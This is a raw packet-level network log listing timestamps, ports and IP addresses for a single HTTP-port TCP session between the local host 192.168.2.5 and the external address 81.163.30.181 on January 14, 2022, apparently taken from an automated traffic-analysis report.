Jan 14, 2022 21:05:50.774915934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774918079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774938107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774952888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774955034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774972916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774991035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774998903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775007963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775022030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775027037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775044918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775060892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775078058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775082111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775095940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775111914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775115013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775130033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775139093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775149107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775166035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775173903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775183916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775201082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775204897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775218010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775235891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775253057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775262117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775270939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775288105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775295973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775305033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775321007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775324106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775345087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775347948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775366068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775383949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775389910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775403023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775418997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775424004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775437117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775454044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775458097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775470972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775486946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775496006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775505066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775521994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775532007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775540113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775558949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775563955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.775577068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.775599003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.776012897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.776045084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.776062965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.776942968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.777004957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.778073072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.779429913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.790718079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.790785074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.807699919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833331108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833373070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833390951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833414078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833437920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833447933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833461046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833479881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833486080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833504915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833509922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833533049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833544016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833556890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833581924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833600998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833605051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833628893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833642006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833655119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833678961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833698034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833703995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833728075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833745956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833753109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833777905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833790064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833801985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833826065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833843946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833869934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833894968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833906889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833921909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833945036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833966970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.833976984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.833993912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834014893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834017038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834043026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834064960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834067106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834091902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834111929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834115982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834152937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834172964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834176064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834202051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834223986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834223986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834249973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834274054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834275007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834300995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834311962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834327936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834352016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834372044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834377050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834400892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834422112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834424973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834449053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834470987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834471941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834496021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834515095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834518909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834542990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834563971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834566116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834590912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834609985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834614038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834640026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834660053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834664106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834687948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834707022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834712029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834737062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834757090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834763050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834788084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834808111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834810972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834836006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834856033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834858894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834883928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834903955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834907055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834930897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834954023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.834954977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834980011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.834994078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.835005045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835026979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835040092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.835052013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835074902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835088015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.835099936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835123062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.835158110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.835673094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.848557949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.848586082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.848604918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.850163937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.892982006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893018961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893047094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893073082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893096924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893102884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893122911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893148899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893173933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893198013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893220901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893223047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893245935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893263102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893270016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893274069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893275023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893297911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893322945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893347025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893348932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893357992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893372059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893398046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893400908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893424034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893439054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893451929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893477917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893501997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893527031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893526077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893536091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893554926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893582106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893599033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893610954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893635988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893662930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893682003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893702030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893721104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893738985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893740892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893762112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893790007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893806934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893816948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893845081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893877029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893898964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893907070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893927097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893953085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.893975973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.893992901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894017935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894042015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894043922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894069910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894094944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894095898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894120932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894146919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894149065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894176960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894201994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894206047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894227028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894253016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894253016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894279957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894305944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894305944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894330978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894356012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894361019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894382000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894418001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894424915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894452095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894478083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894485950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894510984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894536018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894536018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894562960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894588947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894593954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894618034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894633055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894645929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894671917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894695997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894697905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894721985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894745111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894748926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894776106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894800901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894803047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894829035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894845009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894855022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894881964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894895077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894907951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894932985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.894956112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.894969940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.895015955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.898236990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.906342983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.907762051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.907804966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.928431034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.952882051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.952928066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.952967882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953010082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953016996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953051090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953054905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953094006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953131914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953162909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953171968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953212023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953217983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953250885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953290939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953295946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953330040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953368902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953375101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953411102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953449011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953454971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953490019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953528881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953541994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953568935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953608036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953612089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953648090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953687906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953696012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953731060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953768015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953773975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953809977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953854084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.953870058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953922033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953959942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.953973055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954001904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954040051 CET	80	49882	81.163.30.181	192.168.2.5
